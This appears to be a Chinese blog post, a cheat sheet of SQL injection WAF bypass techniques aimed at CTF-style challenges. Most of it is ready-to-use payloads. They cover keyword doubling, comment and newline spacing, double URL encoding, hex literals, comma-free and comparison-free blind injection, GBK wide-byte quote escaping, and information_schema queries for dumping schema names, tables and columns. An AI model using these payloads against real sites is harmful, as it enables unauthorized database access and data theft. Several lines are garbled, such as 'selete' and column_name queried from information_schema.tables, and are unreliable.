SQL注入WAF繞過姿勢

1)大小寫繞過

此類繞過不經常使用,但是用的時候也不能忘了它,他原理是基於SQL語句不分大小寫的,但過濾只過濾其中一種。 
這裏有道題

2)替換關鍵字

這種情況下大小寫轉化無法繞過而且正則表達式會替換或刪除selectunion這些關鍵字如果只匹配一次就很容易繞過

http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

3)空格繞過

payload

select/**/*/**/from/**/yz;

select%0a*%0afrom%0ayz; %0a 是回車

/*!select*//*!**//*!from*//*!yz*/;

select(a)from(yz);

select(a)from(yz)where(a=1);

4)替換關鍵字 


這種情況下大小寫轉化無法繞過而且正則表達式會替換或刪除selectunion這些關鍵字如果只匹配一次就很容易繞過

SELselectECT 1,2,3,4

5URL編碼

有時後臺界面會再次URL解碼所以這時可以利用二次編碼解決問題 
後臺語句

$insert=$link->query(urldecode($_GET['id']));

$row=$insert->fetch_row();

select * from yz

select * from  %2579%257a

6)十六進制繞過(引號繞過)

SQL語句的數據區域可以採用十六進制繞過敏感詞彙

select a from yz where b=0x32;

select * from yz where b=char(0x32);

select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)

select column_name  from information_schema.tables where table_name="users"

select column_name  from information_schema.tables where table_name=0x7573657273

7)逗號繞過

在使用盲注的時候,需要使用到substr(),mid(),limit。這些子句方法都需要使用到逗號。對於substr()mid()這兩個方法可以使用from to的方式來解決。 
substr(),mid()

mid(user() from 1 for 1)

substr(user() from 1 for 1)

select substr(user()from -1) from yz ;

select ascii(substr(user() from 1 for 1)) < 150;

 

同時也可以利用替換函數

select left(database(),2)>'tf';

selete * from testtable limit 2,1;

selete * from testtable limit 2 offset 1;

8)比較符(<,>)繞過

同樣是在使用盲注的時候,在使用二分查找的時候需要使用到比較操作符來進行查找。如果無法使用比較操作符,那麼就需要使用到greateststrcmp來進行繞過了。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

select strcmp(left(database(),1),0x32);#lpad('asd',2,0)

if(substr(id,1,1)in(0x41),1,3)

新學習了一種騷騷的注入姿勢inbetweenorder by 
select * from yz where a in ('aaa'); 
select substr(a,1,1) in ('a') from yz ;

select * from yz where a between 'a' and 'b'; 
select * from yz where a between 0x89 and 0x90;

select * from yz union select 1,2,3 order by 1; 
也可以用like,根據排列順序進行真值判斷

9)註釋符繞過

在注入時的註釋符一般爲# --當兩者不能用時就不能閉合引號 
這裏介紹一個奇淫巧技 
select 1,2,3 from yz where '1'/1=(1=1)/'1'='1' 
(1=1)
中就有了判斷位爲下面的注入打下基礎

10)寬字節繞過

字節注入也是在最近的項目中發現的問題,大家都知道%df’ PHP轉義(開啓GPC、用addslashes函數,或者icov等),單引號被加上反斜槓\,變成了 %df\’,其中\的十六進制是 %5C ,那麼現在%df\’ =%df%5c%27,如果程序的默認字符集是GBK等寬字節字符集,則MySQLGBK的編碼時,會認爲 %df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=,有了單引號就好注入了。

注:`select`防止用戶自定義的名稱和mysql保留字衝突

11with rollup

一般結合group by使用

 select 1 as test from  yz group by test with rollup limit 1 offset 1;

+------+

| test |

+------+

| NULL |

+------+

12)無列名注入

給未知列名起別名 
select a from (select 1,2,3aunion select * from yz)v;

13 判斷列數繞過

order by 被過濾後就可以使用into 變量來繞過 
select * from yz limit 1,1 into @a,@b,@c;

3.SQL注入知識

1.SQL越界 ,也就是能執行自己的sql語句 
2.
盲注的話找一個點可以控制兩種不同的反應 
3.
取數據並做真值判斷 
4.
寫腳本暴庫

上邊是基於一般的注入題目的解題步驟,如果有特殊條件也可靈活變通

mysql數據庫元信息

mysql中存在information_schema是一個信息數據庫,在這個數據庫中保存了Mysql服務器所保存的所有的其他數據庫的信息,如數據庫名,數據庫的表,表的字段名稱 
和訪問權限。在informa_schema中常用的表有:

schemata:存儲了mysql中所有的數據庫信息,返回的內容與show databases的結果是一樣的。 
tables:
存儲了數據庫中的表的信息。詳細地描述了某個表屬於哪個schema,表類型,表引擎。 
show tables from secuiry
的結果就是來自這個表 
columns:
詳細地描述了某張表的所有的列以及每個列的信息。 
show columns from users
的結果就是來自這個表

select database(); #查選數據庫

select group_concat(schema_name) from information_schema.schemata

select schema_name from information_schema.schemata limit 0,1  #查詢數據庫

select table_name from information_schema.tables where table_schema=database() limit 0,1;  #查詢表

select column_name from information_schema.columns where table_name='users' limit 0,1;  #查詢列

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章